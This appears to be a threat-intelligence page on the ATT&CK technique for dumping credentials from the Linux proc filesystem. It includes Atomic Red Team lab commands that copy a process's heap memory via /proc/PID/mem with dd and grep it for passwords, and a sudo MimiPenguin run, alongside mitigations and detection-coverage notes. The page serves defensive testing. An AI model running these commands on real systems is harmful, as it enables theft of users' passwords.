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ATT&CK Technique

Proc Filesystem

T1003.007 · credential-access

Adversaries may gather credentials from the proc filesystem or /proc. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the /proc/<PID>/maps file shows how memory is mapped within the process’s virtual address space.

And /proc/<PID>/mem, exposed for debugging purposes, provides access to the process’s virtual address space. When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1, to look for fixed strings in memory structures or cached hashes.

When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory. If running as or with the permissions of a web browser, a process can search the /maps & /mem locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.

Linux
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Atomic Tests

4
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
shelevatedlinuxDump individual process memory with sh (Local)
Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later. 
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
grep -i "PASS" "#{output_file}"
shelevatedlinuxDump individual process memory with sh on FreeBSD (Local)
Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later. On FreeBSD procfs must be mounted. 
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1)
MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2)
MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
strings "#{output_file}" | grep -i PASS
shelevatedlinuxDump individual process memory with Python (Local)
Using `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to copy a process's heap memory to an external file so it can be searched or exfiltrated later. On FreeBSD procfs must be mounted. 
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
PYTHON=$(which python || which python3 || which python2)
$PYTHON #{python_script} $PID #{output_file}
grep -i "PASS" "#{output_file}"
bashelevatedlinuxCapture Passwords with MimiPenguin
MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). Upon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. See https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. See https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions. 
sudo #{MimiPenguin_Location} > #{output_file}
cat #{output_file}
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Mitigations

2
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1026Privileged Account Management

Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.

Account Permissions and Roles
  • Implement RBAC and least privilege principles to allocate permissions securely.
  • Use tools like Active Directory Group Policies to enforce access restrictions.
Credential Security
  • Deploy password vaulting tools like CyberArk, HashiCorp Vault, or KeePass for secure storage and rotation of credentials.
  • Enforce password policies for complexity, uniqueness, and expiration using tools like Microsoft Group Policy Objects (GPO).
Multi-Factor Authentication (MFA)
  • Enforce MFA for all privileged accounts using Duo Security, Okta, or Microsoft Azure AD MFA.
Privileged Access Management (PAM)
  • Use PAM solutions like CyberArk, BeyondTrust, or Thycotic to manage, monitor, and audit privileged access.
Auditing and Monitoring
  • Integrate activity monitoring into your SIEM (e.g., Splunk or QRadar) to detect and alert on anomalous privileged account usage.
Just-In-Time Access
  • Deploy JIT solutions like Azure Privileged Identity Management (PIM) or configure ephemeral roles in AWS and GCP to grant time-limited elevated permissions.
Tools for Implementation Privileged Access Management (PAM)
  • CyberArk, BeyondTrust, Thycotic, HashiCorp Vault.
Credential Management
  • Microsoft LAPS (Local Admin Password Solution), Password Safe, HashiCorp Vault, KeePass.
Multi-Factor Authentication
  • Duo Security, Okta, Microsoft Azure MFA, Google Authenticator.
Linux Privilege Management
  • sudo configuration, SELinux, AppArmor.
Just-In-Time Access
  • Azure Privileged Identity Management (PIM), AWS IAM Roles with session constraints, GCP Identity-Aware Proxy.
M1027Password Policies

Set and enforce secure password policies for accounts to reduce the likelihood of unauthorized access. Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse.

Windows Systems
Use Group Policy Management Console (GPMC) to configure
  • Minimum password length (e.g., 12+ characters).
  • Password complexity requirements.
  • Password history (e.g., disallow last 24 passwords).
  • Account lockout duration and thresholds.
Linux Systems
Configure Pluggable Authentication Modules (PAM)
  • Use pam_pwquality to enforce complexity and length requirements.
  • Implement pam_tally2 or pam_faillock for account lockouts.
  • Use pwunconv to disable password reuse.
Password Managers
  • Enforce usage of enterprise password managers (e.g., Bitwarden, 1Password, LastPass) to generate and store strong passwords.
Password Blacklisting
  • Use tools like Have I Been Pwned password checks or NIST-based blacklist solutions to prevent users from setting compromised passwords.
Regular Auditing
  • Periodically audit password policies and account configurations to ensure compliance using tools like LAPS (Local Admin Password Solution) and vulnerability scanners.
Tools for Implementation Windows
  • Group Policy Management Console (GPMC): Enforce password policies.
  • Microsoft Local Administrator Password Solution (LAPS): Enforce random, unique admin passwords.
Linux/macOS
  • PAM Modules (pam_pwquality, pam_tally2, pam_faillock): Enforce password rules.
  • Lynis: Audit password policies and system configurations.
Cross-Platform
  • Password Managers (Bitwarden, 1Password, KeePass): Manage and enforce strong passwords.
  • Have I Been Pwned API: Prevent the use of breached passwords.
  • NIST SP 800-63B compliant tools: Enforce password guidelines and blacklisting.
◈

Detection Coverage

0/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) none
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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Comply & Defend

NIST 800-53AC-02, AC-03, AC-05, AC-06, CA-07, CM-02, CM-05, CM-06, IA-02, IA-05, SC-28, SC-39, SI-03, SI-04
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